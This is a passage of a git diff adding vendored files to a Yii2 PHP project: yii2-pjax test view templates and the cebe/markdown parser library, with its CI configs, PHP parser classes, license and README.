iframe + if ( display === "none" || !display ) { + // Use the already-created iframe if possible + iframe = ( iframe || + jQuery(" + + diff --git a/php/yii2/basic/vendor/bower/yii2-pjax/test/views/double_title.erb b/php/yii2/basic/vendor/bower/yii2-pjax/test/views/double_title.erb new file mode 100644 index 00000000..fe8de628 --- /dev/null +++ b/php/yii2/basic/vendor/bower/yii2-pjax/test/views/double_title.erb @@ -0,0 +1,3 @@ +<%= title 'Hello' %> +

World! Hello!

+ diff --git a/php/yii2/basic/vendor/bower/yii2-pjax/test/views/empty.erb b/php/yii2/basic/vendor/bower/yii2-pjax/test/views/empty.erb new file mode 100644 index 00000000..e69de29b diff --git a/php/yii2/basic/vendor/bower/yii2-pjax/test/views/env.erb b/php/yii2/basic/vendor/bower/yii2-pjax/test/views/env.erb new file mode 100644 index 00000000..4c215ad2 --- /dev/null +++ b/php/yii2/basic/vendor/bower/yii2-pjax/test/views/env.erb @@ -0,0 +1,2 @@ +
<%= Rack::Utils.escape_html JSON.generate(request.env) %>
+ diff --git a/php/yii2/basic/vendor/bower/yii2-pjax/test/views/fragment.erb b/php/yii2/basic/vendor/bower/yii2-pjax/test/views/fragment.erb new file mode 100644 index 00000000..f578711d --- /dev/null +++ b/php/yii2/basic/vendor/bower/yii2-pjax/test/views/fragment.erb @@ -0,0 +1,7 @@ +
+

Foo

+
+ +
+

Bar

+
diff --git a/php/yii2/basic/vendor/bower/yii2-pjax/test/views/hello.erb b/php/yii2/basic/vendor/bower/yii2-pjax/test/views/hello.erb new file mode 100644 index 00000000..695ef459 --- /dev/null +++ b/php/yii2/basic/vendor/bower/yii2-pjax/test/views/hello.erb @@ -0,0 +1,4 @@ +<%= title 'Hello' %> +

Hello!

+How's it going? + diff --git a/php/yii2/basic/vendor/bower/yii2-pjax/test/views/home.erb b/php/yii2/basic/vendor/bower/yii2-pjax/test/views/home.erb new file mode 100644 index 00000000..b1ab6464 --- /dev/null +++ b/php/yii2/basic/vendor/bower/yii2-pjax/test/views/home.erb @@ -0,0 +1,13 @@ +<%= title 'Home' %> + + + +
+ + diff --git a/php/yii2/basic/vendor/bower/yii2-pjax/test/views/layout.erb b/php/yii2/basic/vendor/bower/yii2-pjax/test/views/layout.erb new file mode 100644 index 00000000..e14abac2 --- /dev/null +++ b/php/yii2/basic/vendor/bower/yii2-pjax/test/views/layout.erb @@ -0,0 +1,14 @@ + + + + + <%= @title %> + + + + +
+ <%= yield %> +
+ + diff --git a/php/yii2/basic/vendor/bower/yii2-pjax/test/views/long.erb b/php/yii2/basic/vendor/bower/yii2-pjax/test/views/long.erb new file mode 100644 index 00000000..579e30f3 --- /dev/null +++ b/php/yii2/basic/vendor/bower/yii2-pjax/test/views/long.erb @@ -0,0 +1,4 @@ +<%= title 'Long' %> +

Long Page

+
+ diff --git a/php/yii2/basic/vendor/bower/yii2-pjax/test/views/nested_title.erb b/php/yii2/basic/vendor/bower/yii2-pjax/test/views/nested_title.erb new file mode 100644 index 00000000..05963b96 --- /dev/null +++ b/php/yii2/basic/vendor/bower/yii2-pjax/test/views/nested_title.erb @@ -0,0 +1,2 @@ +

<%= title 'Hello' %> Hello!

+ diff --git a/php/yii2/basic/vendor/bower/yii2-pjax/test/views/qunit.erb b/php/yii2/basic/vendor/bower/yii2-pjax/test/views/qunit.erb new file mode 100644 index 00000000..8f53c7d3 --- /dev/null +++ b/php/yii2/basic/vendor/bower/yii2-pjax/test/views/qunit.erb @@ -0,0 +1,19 @@ + + + + + + + + + + + + + + + +
+
    + + diff --git a/php/yii2/basic/vendor/bower/yii2-pjax/test/views/referer.erb b/php/yii2/basic/vendor/bower/yii2-pjax/test/views/referer.erb new file mode 100644 index 00000000..4c4156fa --- /dev/null +++ b/php/yii2/basic/vendor/bower/yii2-pjax/test/views/referer.erb @@ -0,0 +1,2 @@ +

    <%= request.referer %>

    + diff --git a/php/yii2/basic/vendor/bower/yii2-pjax/test/views/scripts.erb b/php/yii2/basic/vendor/bower/yii2-pjax/test/views/scripts.erb new file mode 100644 index 00000000..00211446 --- /dev/null +++ b/php/yii2/basic/vendor/bower/yii2-pjax/test/views/scripts.erb @@ -0,0 +1,4 @@ +

    Got some script tags here

    + + + diff --git a/php/yii2/basic/vendor/bower/yii2-pjax/test/views/timeout.erb b/php/yii2/basic/vendor/bower/yii2-pjax/test/views/timeout.erb new file mode 100644 index 00000000..e103f521 --- /dev/null +++ b/php/yii2/basic/vendor/bower/yii2-pjax/test/views/timeout.erb @@ -0,0 +1,5 @@ +<%= title 'Timeout!' %> + +

    SLOW DOWN!

    + + diff --git a/php/yii2/basic/vendor/cebe/markdown/.gitignore b/php/yii2/basic/vendor/cebe/markdown/.gitignore new file mode 100644 index 00000000..669d0be2 --- /dev/null +++ b/php/yii2/basic/vendor/cebe/markdown/.gitignore @@ -0,0 +1,4 @@ +/.idea/ +composer.lock +/vendor +README.html diff --git a/php/yii2/basic/vendor/cebe/markdown/.scrutinizer.yml b/php/yii2/basic/vendor/cebe/markdown/.scrutinizer.yml new file mode 100644 index 00000000..74122b0f --- /dev/null +++ b/php/yii2/basic/vendor/cebe/markdown/.scrutinizer.yml @@ -0,0 +1,6 @@ +imports: + - php + +tools: + external_code_coverage: + timeout: 600 # Timeout in seconds. \ No newline at end of file diff --git a/php/yii2/basic/vendor/cebe/markdown/.travis.yml b/php/yii2/basic/vendor/cebe/markdown/.travis.yml new file mode 100644 index 00000000..43d827ef --- /dev/null +++ b/php/yii2/basic/vendor/cebe/markdown/.travis.yml @@ -0,0 +1,28 @@ +language: php + +php: + - 5.4 + - 5.5 + - 5.6 + - hhvm + - hhvm-nightly + +# run build against hhvm but allow them to fail +# http://docs.travis-ci.com/user/build-configuration/#Rows-That-are-Allowed-To-Fail +matrix: + fast_finish: true + allow_failures: + - php: hhvm-nightly + +install: + - composer self-update && composer --version + - composer install --dev --prefer-dist + +script: + - vendor/bin/phpunit --verbose --coverage-clover=coverage.clover +# test against standard markdown spec +# - git clone https://github.com/jgm/stmd && cd stmd && perl runtests.pl spec.txt ../bin/markdown + +after_script: + - wget https://scrutinizer-ci.com/ocular.phar + - php ocular.phar code-coverage:upload --format=php-clover coverage.clover diff --git a/php/yii2/basic/vendor/cebe/markdown/GithubMarkdown.php b/php/yii2/basic/vendor/cebe/markdown/GithubMarkdown.php new file mode 100644 index 00000000..e812bb46 --- /dev/null +++ b/php/yii2/basic/vendor/cebe/markdown/GithubMarkdown.php @@ -0,0 +1,98 @@ + + */ +class GithubMarkdown extends Markdown +{ + // include block element parsing using traits + use block\TableTrait; + use block\FencedCodeTrait; + + // include inline element parsing using traits + use inline\StrikeoutTrait; + use inline\UrlLinkTrait; + + /** + * @var boolean whether to interpret newlines as `
    `-tags. + * This feature is useful for comments where newlines are often meant to be real new lines. + */ + public $enableNewlines = false; + + /** + * @inheritDoc + */ + protected $escapeCharacters = [ + // from Markdown + '\\', // backslash + '`', // backtick + '*', // asterisk + '_', // underscore + '{', '}', // curly braces + '[', ']', // square brackets + '(', ')', // parentheses + '#', // hash mark + '+', // plus sign + '-', // minus sign (hyphen) + '.', // dot + '!', // exclamation mark + '<', '>', + // added by GithubMarkdown + ':', // colon + '|', // pipe + ]; + + + + /** + * Consume lines for a paragraph + * + * Allow headlines, lists and code to break paragraphs + */ + protected function consumeParagraph($lines, $current) + { + // consume until newline + $content = []; + for ($i = $current, $count = count($lines); $i < $count; $i++) { + $line = $lines[$i]; + if (!empty($line) && ltrim($line) !== '' && + !($line[0] === "\t" || $line[0] === " " && strncmp($line, ' ', 4) === 0) && + !$this->identifyHeadline($line, $lines, $i) && + !$this->identifyUl($line, $lines, $i) && + !$this->identifyOl($line, $lines, $i)) + { + $content[] = $line; + } else { + break; + } + } + $block = [ + 'paragraph', + 'content' => $this->parseInline(implode("\n", $content)), + ]; + return [$block, --$i]; + } + + /** + * @inheritdocs + * + * Parses a newline indicated by two spaces on the end of a markdown line. + */ + protected function renderText($text) + { + if ($this->enableNewlines) { + return preg_replace("/( \n|\n)/", $this->html5 ? "
    \n" : "
    \n", $text[1]); + } else { + return parent::renderText($text); + } + } +} diff --git a/php/yii2/basic/vendor/cebe/markdown/LICENSE b/php/yii2/basic/vendor/cebe/markdown/LICENSE new file mode 100644 index 00000000..acc225d6 --- /dev/null +++ b/php/yii2/basic/vendor/cebe/markdown/LICENSE @@ -0,0 +1,21 @@ +The MIT License (MIT) + +Copyright (c) 2014 Carsten Brandt + +Permission is hereby granted, free of charge, to any person obtaining a copy +of this software and associated documentation files (the "Software"), to deal +in the Software without restriction, including without limitation the rights +to use, copy, modify, merge, publish, distribute, sublicense, and/or sell +copies of the Software, and to permit persons to whom the Software is +furnished to do so, subject to the following conditions: + +The above copyright notice and this permission notice shall be included in all +copies or substantial portions of the Software. + +THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR +IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, +FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE +AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER +LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, +OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE +SOFTWARE. \ No newline at end of file diff --git a/php/yii2/basic/vendor/cebe/markdown/Markdown.php b/php/yii2/basic/vendor/cebe/markdown/Markdown.php new file mode 100644 index 00000000..72fe95e4 --- /dev/null +++ b/php/yii2/basic/vendor/cebe/markdown/Markdown.php @@ -0,0 +1,114 @@ + + */ +class Markdown extends Parser +{ + // include block element parsing using traits + use block\CodeTrait; + use block\HeadlineTrait; + use block\HtmlTrait { + parseInlineHtml as private; + } + use block\ListTrait { + // Check Ul List before headline + identifyUl as protected identifyBUl; + consumeUl as protected consumeBUl; + } + use block\QuoteTrait; + use block\RuleTrait { + // Check Hr before checking lists + identifyHr as protected identifyAHr; + consumeHr as protected consumeAHr; + } + + // include inline element parsing using traits + use inline\CodeTrait; + use inline\EmphStrongTrait; + use inline\LinkTrait; + + /** + * @var boolean whether to format markup according to HTML5 spec. + * Defaults to `false` which means that markup is formatted as HTML4. + */ + public $html5 = false; + + /** + * @var array these are "escapeable" characters. When using one of these prefixed with a + * backslash, the character will be outputted without the backslash and is not interpreted + * as markdown. + */ + protected $escapeCharacters = [ + '\\', // backslash + '`', // backtick + '*', // asterisk + '_', // underscore + '{', '}', // curly braces + '[', ']', // square brackets + '(', ')', // parentheses + '#', // hash mark + '+', // plus sign + '-', // minus sign (hyphen) + '.', // dot + '!', // exclamation mark + '<', '>', + ]; + + + /** + * @inheritDoc + */ + protected function prepare() + { + // reset references + $this->references = []; + } + + /** + * Consume lines for a paragraph + * + * Allow headlines and code to break paragraphs + */ + protected function consumeParagraph($lines, $current) + { + // consume until newline + $content = []; + for ($i = $current, $count = count($lines); $i < $count; $i++) { + $line = $lines[$i]; + if (!empty($line) && ltrim($line) !== '' && + !($line[0] === "\t" || $line[0] === " " && strncmp($line, ' ', 4) === 0) && + !$this->identifyHeadline($line, $lines, $i)) + { + $content[] = $line; + } else { + break; + } + } + $block = [ + 'paragraph', + 'content' => $this->parseInline(implode("\n", $content)), + ]; + return [$block, --$i]; + } + + + /** + * @inheritdocs + * + * Parses a newline indicated by two spaces on the end of a markdown line. + */ + protected function renderText($text) + { + return str_replace(" \n", $this->html5 ? "
    \n" : "
    \n", $text[1]); + } +} diff --git a/php/yii2/basic/vendor/cebe/markdown/MarkdownExtra.php b/php/yii2/basic/vendor/cebe/markdown/MarkdownExtra.php new file mode 100644 index 00000000..a7e9bb86 --- /dev/null +++ b/php/yii2/basic/vendor/cebe/markdown/MarkdownExtra.php @@ -0,0 +1,250 @@ + + * @license https://github.com/cebe/markdown/blob/master/LICENSE + * @link https://github.com/cebe/markdown#readme + */ +class MarkdownExtra extends Markdown +{ + // include block element parsing using traits + use block\TableTrait; + use block\FencedCodeTrait; + + // include inline element parsing using traits + // TODO + + /** + * @var bool whether special attributes on code blocks should be applied on the `
    ` element.
    +	 * The default behavior is to put them on the `` element.
    +	 */
    +	public $codeAttributesOnPre = false;
    +
    +	/**
    +	 * @inheritDoc
    +	 */
    +	protected $escapeCharacters = [
    +		// from Markdown
    +		'\\', // backslash
    +		'`', // backtick
    +		'*', // asterisk
    +		'_', // underscore
    +		'{', '}', // curly braces
    +		'[', ']', // square brackets
    +		'(', ')', // parentheses
    +		'#', // hash mark
    +		'+', // plus sign
    +		'-', // minus sign (hyphen)
    +		'.', // dot
    +		'!', // exclamation mark
    +		'<', '>',
    +		// added by MarkdownExtra
    +		':', // colon
    +		'|', // pipe
    +	];
    +
    +	private $_specialAttributesRegex = '\{(([#\.][A-z0-9-_]+\s*)+)\}';
    +
    +	// TODO allow HTML intended 3 spaces
    +
    +	// TODO add markdown inside HTML blocks
    +
    +	// TODO implement definition lists
    +
    +	// TODO implement footnotes
    +
    +	// TODO implement Abbreviations
    +
    +
    +	// block parsing
    +
    +	protected function identifyReference($line)
    +	{
    +		return ($line[0] === ' ' || $line[0] === '[') && preg_match('/^ {0,3}\[(.+?)\]:\s*([^\s]+?)(?:\s+[\'"](.+?)[\'"])?\s*('.$this->_specialAttributesRegex.')?\s*$/', $line);
    +	}
    +
    +	/**
    +	 * Consume link references
    +	 */
    +	protected function consumeReference($lines, $current)
    +	{
    +		while (isset($lines[$current]) && preg_match('/^ {0,3}\[(.+?)\]:\s*(.+?)(?:\s+[\(\'"](.+?)[\)\'"])?\s*('.$this->_specialAttributesRegex.')?\s*$/', $lines[$current], $matches)) {
    +			$label = strtolower($matches[1]);
    +
    +			$this->references[$label] = [
    +				'url' => $matches[2],
    +			];
    +			if (isset($matches[3])) {
    +				$this->references[$label]['title'] = $matches[3];
    +			} else {
    +				// title may be on the next line
    +				if (isset($lines[$current + 1]) && preg_match('/^\s+[\(\'"](.+?)[\)\'"]\s*$/', $lines[$current + 1], $matches)) {
    +					$this->references[$label]['title'] = $matches[1];
    +					$current++;
    +				}
    +			}
    +			if (isset($matches[5])) {
    +				$this->references[$label]['attributes'] = $matches[5];
    +			}
    +			$current++;
    +		}
    +		return [false, --$current];
    +	}
    +
    +	/**
    +	 * Consume lines for a fenced code block
    +	 */
    +	protected function consumeFencedCode($lines, $current)
    +	{
    +		// consume until ```
    +		$block = [
    +			'code',
    +		];
    +		$line = rtrim($lines[$current]);
    +		if (($pos = strrpos($line, '`')) === false) {
    +			$pos = strrpos($line, '~');
    +		}
    +		$fence = substr($line, 0, $pos + 1);
    +		$block['attributes'] = substr($line, $pos);
    +		$content = [];
    +		for($i = $current + 1, $count = count($lines); $i < $count; $i++) {
    +			if (rtrim($line = $lines[$i]) !== $fence) {
    +				$content[] = $line;
    +			} else {
    +				break;
    +			}
    +		}
    +		$block['content'] = implode("\n", $content);
    +		return [$block, $i];
    +	}
    +
    +	protected function renderCode($block)
    +	{
    +		$attributes = $this->renderAttributes($block);
    +		return ($this->codeAttributesOnPre ? "" : "
    ")
    +			. htmlspecialchars($block['content'] . "\n", ENT_NOQUOTES | ENT_SUBSTITUTE, 'UTF-8')
    +			. "
    \n"; + } + + /** + * Renders a headline + */ + protected function renderHeadline($block) + { + foreach($block['content'] as $i => $element) { + if ($element[0] === 'specialAttributes') { + unset($block['content'][$i]); + $block['attributes'] = $element[1]; + } + } + $tag = 'h' . $block['level']; + $attributes = $this->renderAttributes($block); + return "<$tag$attributes>" . rtrim($this->renderAbsy($block['content']), "# \t") . "\n"; + } + + protected function renderAttributes($block) + { + $html = []; + if (isset($block['attributes'])) { + $attributes = preg_split('/\s+/', $block['attributes'], -1, PREG_SPLIT_NO_EMPTY); + foreach($attributes as $attribute) { + if ($attribute[0] === '#') { + $html['id'] = substr($attribute, 1); + } else { + $html['class'][] = substr($attribute, 1); + } + } + } + $result = ''; + foreach($html as $attr => $value) { + if (is_array($value)) { + $value = trim(implode(' ', $value)); + } + if (!empty($value)) { + $result .= " $attr=\"$value\""; + } + } + return $result; + } + + + // inline parsing + + + /** + * @marker { + */ + protected function parseSpecialAttributes($text) + { + if (preg_match("~$this->_specialAttributesRegex~", $text, $matches)) { + return [['specialAttributes', $matches[1]], strlen($matches[0])]; + } + return [['text', '{'], 1]; + } + + protected function renderSpecialAttributes($block) + { + return '{' . $block[1] . '}'; + } + + protected function parseInline($text) + { + $elements = parent::parseInline($text); + // merge special attribute elements to links and images as they are not part of the final absy later + $relatedElement = null; + foreach($elements as $i => $element) { + if ($element[0] === 'link' || $element[0] === 'image') { + $relatedElement = $i; + } elseif ($element[0] === 'specialAttributes') { + if ($relatedElement !== null) { + $elements[$relatedElement]['attributes'] = $element[1]; + unset($elements[$i]); + } + $relatedElement = null; + } else { + $relatedElement = null; + } + } + return $elements; + } + + protected function renderLink($block) + { + if (isset($block['refkey'])) { + if (($ref = $this->lookupReference($block['refkey'])) !== false) { + $block = array_merge($block, $ref); + } else { + return $block['orig']; + } + } + $attributes = $this->renderAttributes($block); + return '' . $this->renderAbsy($block['text']) . ''; + } + + protected function renderImage($block) + { + if (isset($block['refkey'])) { + if (($ref = $this->lookupReference($block['refkey'])) !== false) { + $block = array_merge($block, $ref); + } else { + return $block['orig']; + } + } + $attributes = $this->renderAttributes($block); + return '' . htmlspecialchars($block['text'], ENT_COMPAT | ENT_HTML401 | ENT_SUBSTITUTE, 'UTF-8') . 'html5 ? '>' : ' />'); + } +} \ No newline at end of file diff --git a/php/yii2/basic/vendor/cebe/markdown/Parser.php b/php/yii2/basic/vendor/cebe/markdown/Parser.php new file mode 100644 index 00000000..bd89f765 --- /dev/null +++ b/php/yii2/basic/vendor/cebe/markdown/Parser.php @@ -0,0 +1,390 @@ + + */ +abstract class Parser +{ + /** + * @var integer the maximum nesting level for language elements. + */ + public $maximumNestingLevel = 32; + + /** + * @var string the current context the parser is in. + * TODO remove in favor of absy + */ + protected $context = []; + /** + * @var array these are "escapeable" characters. When using one of these prefixed with a + * backslash, the character will be outputted without the backslash and is not interpreted + * as markdown. + */ + protected $escapeCharacters = [ + '\\', // backslash + ]; + + private $_depth = 0; + + + /** + * Parses the given text considering the full language. + * + * This includes parsing block elements as well as inline elements. + * + * @param string $text the text to parse + * @return string parsed markup + */ + public function parse($text) + { + $this->prepare(); + + if (empty($text)) { + return ''; + } + + // http://stackoverflow.com/a/18992691/1106908 + $text = preg_replace('~\R~', "\n", $text); + + $this->prepareMarkers($text); + + $absy = $this->parseBlocks(explode("\n", $text)); + $markup = $this->renderAbsy($absy); + + $this->cleanup(); + return $markup; + } + + /** + * Parses a paragraph without block elements (block elements are ignored). + * + * @param string $text the text to parse + * @return string parsed markup + */ + public function parseParagraph($text) + { + $this->prepare(); + + if (empty($text)) { + return ''; + } + + // http://stackoverflow.com/a/18992691/1106908 + $text = preg_replace('~\R~', "\n", $text); + + $this->prepareMarkers($text); + + $absy = $this->parseInline($text); + $markup = $this->renderAbsy($absy); + + $this->cleanup(); + return $markup; + } + + /** + * This method will be called before `parse()` and `parseParagraph()`. + * You can override it to do some initialization work. + */ + protected function prepare() + { + } + + /** + * This method will be called after `parse()` and `parseParagraph()`. + * You can override it to do cleanup. + */ + protected function cleanup() + { + } + + + // block parsing + + private $_blockTypes; + + /** + * @return array a list of block element types available. + */ + protected function blockTypes() + { + if ($this->_blockTypes === null) { + // detect block types via "identify" functions + $reflection = new \ReflectionClass($this); + $this->_blockTypes = array_filter(array_map(function($method) { + $name = $method->getName(); + return strncmp($name, 'identify', 8) === 0 ? strtolower(substr($name, 8)) : false; + }, $reflection->getMethods(ReflectionMethod::IS_PROTECTED))); + + sort($this->_blockTypes); + } + return $this->_blockTypes; + } + + /** + * Given a set of lines and an index of a current line it uses the registed block types to + * detect the type of this line. + * @param array $lines + * @param integer $current + * @return string name of the block type in lower case + */ + protected function detectLineType($lines, $current) + { + $line = $lines[$current]; + $blockTypes = $this->blockTypes(); + foreach($blockTypes as $blockType) { + if ($this->{'identify' . $blockType}($line, $lines, $current)) { + return $blockType; + } + } + return 'paragraph'; + } + + /** + * Parse block elements by calling `identifyLine()` to identify them + * and call consume function afterwards. + * The blocks are then rendered by the corresponding rendering methods. + */ + protected function parseBlocks($lines) + { + if ($this->_depth >= $this->maximumNestingLevel) { + // maximum depth is reached, do not parse input + return [['text', implode("\n", $lines)]]; + } + $this->_depth++; + + $blocks = []; + + $blockTypes = $this->blockTypes(); + + // convert lines to blocks + for ($i = 0, $count = count($lines); $i < $count; $i++) { + $line = $lines[$i]; + if (!empty($line) && rtrim($line) !== '') { // skip empty lines + // identify a blocks beginning + $identified = false; + foreach($blockTypes as $blockType) { + if ($this->{'identify' . $blockType}($line, $lines, $i)) { + // call consume method for the detected block type to consume further lines + list($block, $i) = $this->{'consume' . $blockType}($lines, $i); + if ($block !== false) { + $blocks[] = $block; + } + $identified = true; + break 1; + } + } + // consider the line a normal paragraph + if (!$identified) { + list($block, $i) = $this->consumeParagraph($lines, $i); + $blocks[] = $block; + } + } + } + + $this->_depth--; + + return $blocks; + } + + protected function renderAbsy($blocks) + { + $output = ''; + foreach ($blocks as $block) { + array_unshift($this->context, $block[0]); + $output .= $this->{'render' . $block[0]}($block); + array_shift($this->context); + } + return $output; + } + + /** + * Consume lines for a paragraph + * + * @param $lines + * @param $current + * @return array + */ + protected function consumeParagraph($lines, $current) + { + // consume until newline + $content = []; + for ($i = $current, $count = count($lines); $i < $count; $i++) { + if (ltrim($lines[$i]) !== '') { + $content[] = $lines[$i]; + } else { + break; + } + } + $block = [ + 'paragraph', + 'content' => $this->parseInline(implode("\n", $content)), + ]; + return [$block, --$i]; + } + + /** + * Render a paragraph block + * + * @param $block + * @return string + */ + protected function renderParagraph($block) + { + return '

    ' . $this->renderAbsy($block['content']) . "

    \n"; + } + + + // inline parsing + + + /** + * @var array the set of inline markers to use in different contexts. + */ + private $_inlineMarkers = []; + + /** + * Returns a map of inline markers to the corresponding parser methods. + * + * This array defines handler methods for inline markdown markers. + * When a marker is found in the text, the handler method is called with the text + * starting at the position of the marker. + * + * Note that markers starting with whitespace may slow down the parser, + * you may want to use [[renderText]] to deal with them. + * + * You may override this method to define a set of markers and parsing methods. + * The default implementation looks for protected methods starting with `parse` that + * also have an `@marker` annotation in PHPDoc. + * + * @return array a map of markers to parser methods + */ + protected function inlineMarkers() + { + $markers = []; + // detect "parse" functions + $reflection = new \ReflectionClass($this); + foreach($reflection->getMethods(ReflectionMethod::IS_PROTECTED) as $method) { + $methodName = $method->getName(); + if (strncmp($methodName, 'parse', 5) === 0) { + preg_match_all('/@marker ([^\s]+)/', $method->getDocComment(), $matches); + foreach($matches[1] as $match) { + $markers[$match] = $methodName; + } + } + } + return $markers; + } + + /** + * Prepare markers that are used in the text to parse + * + * Add all markers that are present in markdown. + * Check is done to avoid iterations in parseInline(), good for huge markdown files + * @param string $text + */ + private function prepareMarkers($text) + { + $this->_inlineMarkers = []; + foreach ($this->inlineMarkers() as $marker => $method) { + if (strpos($text, $marker) !== false) { + $m = $marker[0]; + // put the longest marker first + if (isset($this->_inlineMarkers[$m])) { + reset($this->_inlineMarkers[$m]); + if (strlen($marker) > strlen(key($this->_inlineMarkers[$m]))) { + $this->_inlineMarkers[$m] = array_merge([$marker => $method], $this->_inlineMarkers[$m]); + continue; + } + } + $this->_inlineMarkers[$m][$marker] = $method; + } + } + } + + /** + * Parses inline elements of the language. + * + * @param string $text the inline text to parse. + * @return array + */ + protected function parseInline($text) + { + if ($this->_depth >= $this->maximumNestingLevel) { + // maximum depth is reached, do not parse input + return ['text', $text]; + } + $this->_depth++; + + $markers = implode('', array_keys($this->_inlineMarkers)); + + $paragraph = []; + + while (!empty($markers) && ($found = strpbrk($text, $markers)) !== false) { + + $pos = strpos($text, $found); + + // add the text up to next marker to the paragraph + if ($pos !== 0) { + $paragraph[] = ['text', substr($text, 0, $pos)]; + } + $text = $found; + + $parsed = false; + foreach ($this->_inlineMarkers[$text[0]] as $marker => $method) { + if (strncmp($text, $marker, strlen($marker)) === 0) { + // parse the marker + array_unshift($this->context, $method); + list($output, $offset) = $this->$method($text); + array_shift($this->context); + + $paragraph[] = $output; + $text = substr($text, $offset); + $parsed = true; + break; + } + } + if (!$parsed) { + $paragraph[] = ['text', substr($text, 0, 1)]; + $text = substr($text, 1); + } + } + + $paragraph[] = ['text', $text]; + + $this->_depth--; + + return $paragraph; + } + + /** + * Parses escaped special characters. + * @marker \ + */ + protected function parseEscape($text) + { + if (isset($text[1]) && in_array($text[1], $this->escapeCharacters)) { + return [['text', $text[1]], 2]; + } + return [['text', $text[0]], 1]; + } + + /** + * This function renders plain text sections in the markdown text. + * It can be used to work on normal text sections for example to highlight keywords or + * do special escaping. + */ + protected function renderText($block) + { + return $block[1]; + } +} diff --git a/php/yii2/basic/vendor/cebe/markdown/README.md b/php/yii2/basic/vendor/cebe/markdown/README.md new file mode 100644 index 00000000..c4113a4e --- /dev/null +++ b/php/yii2/basic/vendor/cebe/markdown/README.md @@ -0,0 +1,382 @@ +A super fast, highly extensible markdown parser for PHP +======================================================= + +[![Latest Stable Version](https://poser.pugx.org/cebe/markdown/v/stable.png)](https://packagist.org/packages/cebe/markdown) +[![Total Downloads](https://poser.pugx.org/cebe/markdown/downloads.png)](https://packagist.org/packages/cebe/markdown) +[![Build Status](https://secure.travis-ci.org/cebe/markdown.png)](http://travis-ci.org/cebe/markdown) +[![Tested against HHVM](http://hhvm.h4cc.de/badge/cebe/markdown.png)](http://hhvm.h4cc.de/package/cebe/markdown) +[![Code Coverage](https://scrutinizer-ci.com/g/cebe/markdown/badges/coverage.png?s=db6af342d55bea649307ef311fbd536abb9bab76)](https://scrutinizer-ci.com/g/cebe/markdown/) +[![Scrutinizer Quality Score](https://scrutinizer-ci.com/g/cebe/markdown/badges/quality-score.png?s=17448ca4d140429fd687c58ff747baeb6568d528)](https://scrutinizer-ci.com/g/cebe/markdown/) + +What is this? +------------- + +A set of [PHP][] classes, each representing a [Markdown][] flavor, and a command line tool +for converting markdown files to HTML files. + +The implementation focus is to be **fast** (see [benchmark][]) and **extensible**. You are able to add additional language elements by +directly hooking into the parser - no (possibly error-prone) post- or pre-processing is needed to extend the language. +Since version 1.0.0 the parser has an internal representation of the markdown as an abstract syntax tree which you can use to +manipulate the document in many ways before rendering. +It is also [well tested][] to provide best rendering results also in edge cases where other parsers fail. + +Currently the following markdown flavors are supported: + +- **The original Markdown** according to ([try it!](http://markdown.cebe.cc/try?flavor=default)). +- **Github flavored Markdown** according to ([try it!](http://markdown.cebe.cc/try?flavor=gfm)). +- **Markdown Extra** according to (currently not fully supported WIP see [#25][], [try it!](http://markdown.cebe.cc/try?flavor=extra)) +- Any mixed Markdown flavor you like because of its highly extensible structure (See documentation below). + +[#25]: https://github.com/cebe/markdown/issues/25 "issue #25" +[well tested]: https://travis-ci.org/cebe/markdown "PHPUnit tests on Travis-CI" + +Future plans are to support: + +- Smarty Pants +- ... (Feel free to [suggest](https://github.com/cebe/markdown/issues/new) further additions!) + +### Who is using it? + +- It powers the [API-docs and the definitive guide](http://www.yiiframework.com/doc-2.0/) for the [Yii Framework][] [2.0](https://github.com/yiisoft/yii2). + +[Yii Framework]: http://www.yiiframework.com/ "The Yii PHP Framework" + + +Installation +------------ + +[PHP 5.4 or higher](http://www.php.net/downloads.php) is required to use it. +It will also run on facebook's [hhvm](http://hhvm.com/). + +Installation is recommended to be done via [composer][] by adding the following to the `require` section in your `composer.json`: + +```json +"cebe/markdown": "~1.0.0" +``` + +Run `composer update` afterwards. + + +Usage +----- + +### In your PHP project + +To parse your markdown you need only two lines of code. The first one is to choose the markdown flavor as +one of the following: + +- Original Markdown: `$parser = new \cebe\markdown\Markdown();` +- Github Flavored Markdown: `$parser = new \cebe\markdown\GithubMarkdown();` +- Markdown Extra: `$parser = new \cebe\markdown\MarkdownExtra();` + +The next step is to call the `parse()`-method for parsing the text using the full markdown language +or calling the `parseParagraph()`-method to parse only inline elements. + +Here are some examples: + +```php +// original markdown and parse full text +$parser = new \cebe\markdown\Markdown(); +$parser->parse($markdown); + +// use github markdown +$parser = new \cebe\markdown\GithubMarkdown(); +$parser->parse($markdown); + +// use markdown extra +$parser = new \cebe\markdown\MarkdownExtra(); +$parser->parse($markdown); + +// parse only inline elements (useful for one-line descriptions) +$parser = new \cebe\markdown\GithubMarkdown(); +$parser->parseParagraph($markdown); +``` + +You may optionally set one of the following options on the parser object: + +For all Markdown Flavors: + +- `$parser->html5 = true` to enable HTML5 output instead of HTML4. +- `$parser->keepListStartNumber = true` to enable keeping the numbers of ordered lists as specified in the markdown. + The default behavior is to always start from 1 and increment by one regardless of the number in markdown. + +For GithubMarkdown: + +- `$parser->enableNewlines = true` to convert all newlines to `
    `-tags. By default only newlines with two preceding spaces are converted to `
    `-tags. + +### The command line script + +You can use it to render this readme: + + bin/markdown README.md > README.html + +Using github flavored markdown: + + bin/markdown --flavor=gfm README.md > README.html + +or convert the original markdown description to html using the unix pipe: + + curl http://daringfireball.net/projects/markdown/syntax.text | bin/markdown > md.html + +Here is the full Help output you will see when running `bin/markdown --help`: + + PHP Markdown to HTML converter + ------------------------------ + + by Carsten Brandt + + Usage: + bin/markdown [--flavor=] [--full] [file.md] + + --flavor specifies the markdown flavor to use. If omitted the original markdown by John Gruber [1] will be used. + Available flavors: + + gfm - Github flavored markdown [2] + extra - Markdown Extra [3] + + --full ouput a full HTML page with head and body. If not given, only the parsed markdown will be output. + + --help shows this usage information. + + If no file is specified input will be read from STDIN. + + Examples: + + Render a file with original markdown: + + bin/markdown README.md > README.html + + Render a file using gihtub flavored markdown: + + bin/markdown --flavor=gfm README.md > README.html + 